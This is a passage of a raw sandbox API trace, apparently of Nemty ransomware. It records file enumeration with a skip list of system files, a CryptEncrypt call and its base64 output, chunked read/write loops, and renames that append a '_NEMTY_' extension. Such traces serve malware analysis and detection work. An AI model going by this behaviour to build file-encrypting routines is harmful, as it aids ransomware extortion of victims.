cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0124.317] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0124.317] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0124.317] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0124.317] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0124.317] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0124.317] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0124.317] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0124.317] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0124.317] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget\\images\\back.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\cpu.gadget\\images\\back.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget\\images\\back.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\cpu.gadget\\images\\back.png._nemty_kgobjgd_")) returned 0 [0124.318] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0124.318] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0124.318] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0124.318] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401e0 | out: hHeap=0x4f90000) returned 1 [0124.318] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0124.318] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0124.318] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0124.318] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0124.318] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x842b7a8e, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x842b7a8e, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x290fa853, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x6651, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="back_lrg.png", cAlternateFileName="")) returned 1 [0124.318] lstrcmpiW (lpString1="back_lrg.png", lpString2=".") returned 1 [0124.318] lstrcmpiW (lpString1="back_lrg.png", lpString2="..") returned 1 [0124.318] lstrcmpiW (lpString1="back_lrg.png", lpString2="...") returned 1 [0124.319] lstrcmpiW (lpString1="back_lrg.png", lpString2="windows") returned -1 [0124.319] lstrcmpiW (lpString1="back_lrg.png", lpString2="$RECYCLE.BIN") returned 1 [0124.319] lstrcmpiW (lpString1="back_lrg.png", lpString2="rsa") returned -1 [0124.319] lstrcmpiW (lpString1="back_lrg.png", lpString2="NTDETECT.COM") returned -1 [0124.319] lstrcmpiW (lpString1="back_lrg.png", lpString2="ntldr") returned -1 [0124.319] lstrcmpiW (lpString1="back_lrg.png", lpString2="MSDOS.SYS") returned -1 [0124.319] lstrcmpiW (lpString1="back_lrg.png", lpString2="IO.SYS") returned -1 [0124.319] lstrcmpiW (lpString1="back_lrg.png", lpString2="boot.ini") returned -1 [0124.319] lstrcmpiW (lpString1="back_lrg.png", lpString2="boot.ini") returned -1 [0124.319] lstrcmpiW (lpString1="back_lrg.png", lpString2="AUTOEXEC.BAT") returned 1 [0124.319] lstrcmpiW (lpString1="back_lrg.png", lpString2="ntuser.dat") returned -1 [0124.319] lstrcmpiW (lpString1="back_lrg.png", lpString2="desktop.ini") returned -1 [0124.319] lstrcmpiW (lpString1="back_lrg.png", lpString2="CONFIG.SYS") returned -1 [0124.319] lstrcmpiW (lpString1="back_lrg.png", lpString2="RECYCLER") returned -1 [0124.319] lstrcmpiW (lpString1="back_lrg.png", lpString2="BOOTSECT.BAK") returned -1 [0124.319] lstrcmpiW (lpString1="back_lrg.png", lpString2="bootmgr") returned -1 [0124.319] lstrcmpiW (lpString1="back_lrg.png", lpString2="programdata") returned -1 [0124.319] lstrcmpiW (lpString1="back_lrg.png", lpString2="appdata") returned 1 [0124.319] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0124.319] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="back_lrg.png", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0124.319] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="back_lrg.png", cchWideChar=12, lpMultiByteStr=0x653ebd0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="back_lrg.png", lpUsedDefaultChar=0x0) returned 12 [0124.319] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0124.319] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="back_lrg.png", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0124.319] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="back_lrg.png", cchWideChar=12, lpMultiByteStr=0x653ebd0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="back_lrg.png", lpUsedDefaultChar=0x0) returned 12 [0124.319] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0124.319] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0124.319] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0124.319] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="back_lrg.png", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0124.319] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="back_lrg.png", cchWideChar=12, lpMultiByteStr=0x653ec20, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="back_lrg.png", lpUsedDefaultChar=0x0) returned 12 [0124.319] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0124.319] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0124.319] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="back_lrg.png", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0124.319] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="back_lrg.png", cchWideChar=12, lpMultiByteStr=0x653ec58, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="back_lrg.png", lpUsedDefaultChar=0x0) returned 12 [0124.319] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0124.319] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0124.320] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0124.320] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0124.320] Sleep (dwMilliseconds=0x5) [0124.330] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xfdc0d370, dwHighDateTime=0x1d561e7)) [0124.330] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xfdc0d370, dwHighDateTime=0x1d561e7)) [0124.330] GetLastError () returned 0x5 [0124.330] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0124.330] GetLastError () returned 0x5 [0124.330] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0124.330] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0124.330] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0124.330] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0124.330] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0124.331] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0124.331] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63401e0 [0124.331] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63401e0, pcchString=0x653e91c | out: pszString="p+VCdTbaeDJz/N5gXlwzRwKH4GFhWeYA3CV8z+fpYQV7TWINL4v5Jiyhc1lNhHUk\r\n32kU+lSvtacJRxFnb9uNR8Q3zPwTzsdsyKI4k2piFZQ5SLtZab/ASiw1ZVEm46wO\r\nXDuSv2ERpXxUXnSBX74THKbeVFQIdcVAnABXT/Vl+JUxytq8xtdM9RrGG2MtJVGg\r\ngaRfvmQ84KuQmrnf6B6z7wYTYyjZ7pOSP47Y2pndYAELuj7e1c1n5bFEgdLzOH7+\r\n34Vt71m+MmiwPz3EyWWYmdGW3y2czXewefZMrEmsJehgJeX6EWb40UvHUXaIwO89\r\n05qwjQmLNccZF4r9VAu+ig==\r\n", pcchString=0x653e91c) returned 1 [0124.331] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0124.331] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401e0 | out: hHeap=0x4f90000) returned 1 [0124.331] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0124.331] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0124.331] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63401e0 [0124.331] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0124.331] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget\\images\\back_lrg.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\cpu.gadget\\images\\back_lrg.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0124.332] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0124.332] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0124.332] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0124.332] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0124.341] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0124.342] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0124.342] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0124.342] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0124.351] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0124.351] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0124.351] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0124.351] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0124.360] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0124.360] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0124.360] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0124.360] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0124.370] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0124.370] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0124.371] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0124.371] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0124.380] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0124.380] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0124.380] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0124.380] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0124.389] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0124.389] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0124.389] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0124.389] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0124.398] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0124.398] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0124.398] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0124.398] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0124.407] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0124.407] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0124.407] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0124.407] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0124.417] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0124.417] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0124.417] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0124.417] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0124.426] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0124.426] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0124.426] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0124.426] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0124.432] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0124.432] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0124.432] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0124.432] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0124.438] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0124.438] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0124.438] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0124.438] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63401e0, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0124.438] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0124.438] CloseHandle (hObject=0xffffffff) returned 0 [0124.438] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0124.438] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0124.438] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0124.439] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0124.439] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0124.439] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0124.439] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340350 [0124.439] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403f8 [0124.439] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340350 | out: hHeap=0x4f90000) returned 1 [0124.439] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0124.439] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget\\images\\back_lrg.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\cpu.gadget\\images\\back_lrg.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget\\images\\back_lrg.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\cpu.gadget\\images\\back_lrg.png._nemty_kgobjgd_")) returned 0 [0124.439] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403f8 | out: hHeap=0x4f90000) returned 1 [0124.439] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0124.439] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0124.439] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401e0 | out: hHeap=0x4f90000) returned 1 [0124.439] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0124.439] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0124.439] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0124.439] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0124.439] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x290fa853, ftCreationTime.dwHighDateTime=0x1c9ea0e, ftLastAccessTime.dwLowDateTime=0x290fa853, ftLastAccessTime.dwHighDateTime=0x1c9ea0e, ftLastWriteTime.dwLowDateTime=0x290fa853, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x15a, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="dial.png", cAlternateFileName="")) returned 1 [0124.439] lstrcmpiW (lpString1="dial.png", lpString2=".") returned 1 [0124.439] lstrcmpiW (lpString1="dial.png", lpString2="..") returned 1 [0124.439] lstrcmpiW (lpString1="dial.png", lpString2="...") returned 1 [0124.439] lstrcmpiW (lpString1="dial.png", lpString2="windows") returned -1 [0124.439] lstrcmpiW (lpString1="dial.png", lpString2="$RECYCLE.BIN") returned 1 [0124.439] lstrcmpiW (lpString1="dial.png", lpString2="rsa") returned -1 [0124.439] lstrcmpiW (lpString1="dial.png", lpString2="NTDETECT.COM") returned -1 [0124.439] lstrcmpiW (lpString1="dial.png", lpString2="ntldr") returned -1 [0124.439] 